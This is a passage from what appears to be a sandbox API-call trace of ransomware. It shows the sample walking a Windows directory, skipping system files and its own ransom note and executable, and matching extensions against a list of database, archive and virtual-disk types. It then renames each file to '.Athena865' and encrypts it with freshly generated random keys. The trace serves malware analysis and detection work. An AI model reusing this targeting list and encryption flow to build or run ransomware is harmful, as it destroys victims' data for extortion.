lpString2="MSBuild") returned -1 [0110.045] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0110.045] lstrcpyW (in: lpString1=0x241e8ae, lpString2="IPSEventLogMsg.dll" | out: lpString1="IPSEventLogMsg.dll") returned="IPSEventLogMsg.dll" [0110.045] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0110.045] lstrlenW (lpString="Athena865") returned 9 [0110.045] lstrcmpiW (lpString1="ogMsg.dll", lpString2="Athena865") returned 1 [0110.045] lstrlenW (lpString=".dll") returned 4 [0110.045] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".dll") returned 1 [0110.045] lstrlenW (lpString=".lnk") returned 4 [0110.046] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".lnk") returned 1 [0110.046] lstrlenW (lpString=".ini") returned 4 [0110.046] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".ini") returned 1 [0110.046] lstrlenW (lpString=".sys") returned 4 [0110.046] lstrcmpiW (lpString1="IPSEventLogMsg.dll", lpString2=".sys") returned 1 [0110.046] lstrlenW (lpString="IPSEventLogMsg.dll") returned 18 [0110.046] lstrlenW (lpString="bak") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.046] lstrlenW (lpString="ba_") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.046] lstrlenW (lpString="dbb") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.046] lstrlenW (lpString="vmdk") returned 4 [0110.046] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.046] lstrlenW (lpString="rar") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.046] lstrlenW (lpString="zip") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.046] lstrlenW (lpString="tgz") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.046] lstrlenW (lpString="vbox") returned 4 [0110.046] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.046] lstrlenW (lpString="vdi") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.046] lstrlenW (lpString="vhd") returned 3 [0110.046] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.046] lstrlenW (lpString="vhdx") returned 4 [0110.046] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.046] lstrlenW (lpString="avhd") returned 4 [0110.047] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.047] lstrlenW (lpString="db") returned 2 [0110.047] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.047] lstrlenW (lpString="db2") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.047] lstrlenW (lpString="db3") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.047] lstrlenW (lpString="dbf") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.047] lstrlenW (lpString="mdf") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.047] lstrlenW (lpString="mdb") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.047] lstrlenW (lpString="sql") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.047] lstrlenW (lpString="sqlite") returned 6 [0110.047] lstrcmpiW (lpString1="sg.dll", lpString2="sqlite") returned -1 [0110.047] lstrlenW (lpString="sqlite3") returned 7 [0110.047] lstrcmpiW (lpString1="Msg.dll", lpString2="sqlite3") returned -1 [0110.047] lstrlenW (lpString="sqlitedb") returned 8 [0110.047] lstrcmpiW (lpString1="gMsg.dll", lpString2="sqlitedb") returned -1 [0110.047] lstrlenW (lpString="xml") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.047] lstrlenW (lpString="$er") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.047] lstrlenW (lpString="4dd") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.047] lstrlenW (lpString="4dl") returned 3 [0110.047] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.048] lstrlenW (lpString="^^^") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.048] lstrlenW (lpString="abs") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.048] lstrlenW (lpString="abx") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.048] lstrlenW (lpString="accdb") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accdb") returned 1 [0110.048] lstrlenW (lpString="accdc") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accdc") returned 1 [0110.048] lstrlenW (lpString="accde") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accde") returned 1 [0110.048] lstrlenW (lpString="accdr") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accdr") returned 1 [0110.048] lstrlenW (lpString="accdt") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accdt") returned 1 [0110.048] lstrlenW (lpString="accdw") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accdw") returned 1 [0110.048] lstrlenW (lpString="accft") returned 5 [0110.048] lstrcmpiW (lpString1="g.dll", lpString2="accft") returned 1 [0110.048] lstrlenW (lpString="adb") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.048] lstrlenW (lpString="adb") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.048] lstrlenW (lpString="ade") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.048] lstrlenW (lpString="adf") returned 3 [0110.048] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.048] lstrlenW (lpString="adn") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.049] lstrlenW (lpString="adp") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.049] lstrlenW (lpString="alf") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.049] lstrlenW (lpString="ask") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.049] lstrlenW (lpString="btr") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.049] lstrlenW (lpString="cat") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.049] lstrlenW (lpString="cdb") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.049] lstrlenW (lpString="ckp") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.049] lstrlenW (lpString="cma") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.049] lstrlenW (lpString="cpd") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.049] lstrlenW (lpString="dacpac") returned 6 [0110.049] lstrcmpiW (lpString1="sg.dll", lpString2="dacpac") returned 1 [0110.049] lstrlenW (lpString="dad") returned 3 [0110.049] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.049] lstrlenW (lpString="dadiagrams") returned 10 [0110.049] lstrcmpiW (lpString1="LogMsg.dll", lpString2="dadiagrams") returned 1 [0110.049] lstrlenW (lpString="daschema") returned 8 [0110.049] lstrcmpiW (lpString1="gMsg.dll", lpString2="daschema") returned 1 [0110.049] lstrlenW (lpString="db-journal") returned 10 [0110.049] lstrcmpiW (lpString1="LogMsg.dll", lpString2="db-journal") returned 1 [0110.050] lstrlenW (lpString="db-shm") returned 6 [0110.050] lstrcmpiW (lpString1="sg.dll", lpString2="db-shm") returned 1 [0110.050] lstrlenW (lpString="db-wal") returned 6 [0110.050] lstrcmpiW (lpString1="sg.dll", lpString2="db-wal") returned 1 [0110.050] lstrlenW (lpString="dbc") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.050] lstrlenW (lpString="dbs") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.050] lstrlenW (lpString="dbt") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.050] lstrlenW (lpString="dbv") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.050] lstrlenW (lpString="dbx") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.050] lstrlenW (lpString="dcb") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.050] lstrlenW (lpString="dct") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.050] lstrlenW (lpString="dcx") returned 3 [0110.050] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.050] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.Athena865") returned 79 [0110.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.athena865"), dwFlags=0x1) returned 1 [0110.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.052] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2048) returned 1 [0110.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.052] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.053] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.053] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.053] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb00, lpName=0x0) returned 0x17c [0110.065] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb00) returned 0x100000 [0110.076] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.077] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.077] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.077] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.077] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.078] CloseHandle (hObject=0x17c) returned 1 [0110.078] CloseHandle (hObject=0x154) returned 1 [0110.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.078] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="..") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="windows") returned -1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="bootmgr") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="temp") returned -1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="pagefile.sys") returned -1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="boot") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="ids.txt") returned 1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="ntuser.dat") returned -1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="perflogs") returned -1 [0110.078] lstrcmpiW (lpString1="ipsfin.xml", lpString2="MSBuild") returned -1 [0110.079] lstrlenW (lpString="ipsfin.xml") returned 10 [0110.079] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsfin.xml" | out: lpString1="ipsfin.xml") returned="ipsfin.xml" [0110.079] lstrlenW (lpString="ipsfin.xml") returned 10 [0110.079] lstrlenW (lpString="Athena865") returned 9 [0110.079] lstrcmpiW (lpString1="psfin.xml", lpString2="Athena865") returned 1 [0110.079] lstrlenW (lpString=".dll") returned 4 [0110.079] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".dll") returned 1 [0110.079] lstrlenW (lpString=".lnk") returned 4 [0110.079] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".lnk") returned 1 [0110.079] lstrlenW (lpString=".ini") returned 4 [0110.079] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".ini") returned 1 [0110.079] lstrlenW (lpString=".sys") returned 4 [0110.079] lstrcmpiW (lpString1="ipsfin.xml", lpString2=".sys") returned 1 [0110.079] lstrlenW (lpString="ipsfin.xml") returned 10 [0110.079] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.Athena865") returned 71 [0110.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.athena865"), dwFlags=0x1) returned 1 [0110.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.081] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2658) returned 1 [0110.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.081] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.082] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.082] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.082] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd70, lpName=0x0) returned 0x17c [0110.084] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd70) returned 0x100000 [0110.089] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.090] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.090] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.090] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.091] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.091] CloseHandle (hObject=0x17c) returned 1 [0110.091] CloseHandle (hObject=0x154) returned 1 [0110.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.091] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.091] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0110.091] lstrcmpiW (lpString1="ipsfra.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.091] lstrcmpiW (lpString1="ipsfra.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".") returned 1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="..") returned 1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="windows") returned -1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="bootmgr") returned 1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="temp") returned -1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="pagefile.sys") returned -1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="boot") returned 1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="ids.txt") returned 1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="ntuser.dat") returned -1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="perflogs") returned -1 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2="MSBuild") returned -1 [0110.092] lstrlenW (lpString="ipsfra.xml") returned 10 [0110.092] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsfra.xml" | out: lpString1="ipsfra.xml") returned="ipsfra.xml" [0110.092] lstrlenW (lpString="ipsfra.xml") returned 10 [0110.092] lstrlenW (lpString="Athena865") returned 9 [0110.092] lstrcmpiW (lpString1="psfra.xml", lpString2="Athena865") returned 1 [0110.092] lstrlenW (lpString=".dll") returned 4 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".dll") returned 1 [0110.092] lstrlenW (lpString=".lnk") returned 4 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".lnk") returned 1 [0110.092] lstrlenW (lpString=".ini") returned 4 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".ini") returned 1 [0110.092] lstrlenW (lpString=".sys") returned 4 [0110.092] lstrcmpiW (lpString1="ipsfra.xml", lpString2=".sys") returned 1 [0110.092] lstrlenW (lpString="ipsfra.xml") returned 10 [0110.092] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.Athena865") returned 71 [0110.092] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.athena865"), dwFlags=0x1) returned 1 [0110.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.094] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2628) returned 1 [0110.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.095] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.096] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.096] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.096] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x17c [0110.097] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0110.098] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.098] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.099] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.099] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.099] CloseHandle (hObject=0x17c) returned 1 [0110.099] CloseHandle (hObject=0x154) returned 1 [0110.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.100] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2=".") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="..") returned 1 [0110.100] lstrcmpiW (lpString1="ipshrv.xml", lpString2="windows") returned -1 [0110.100] lstrcmpiW 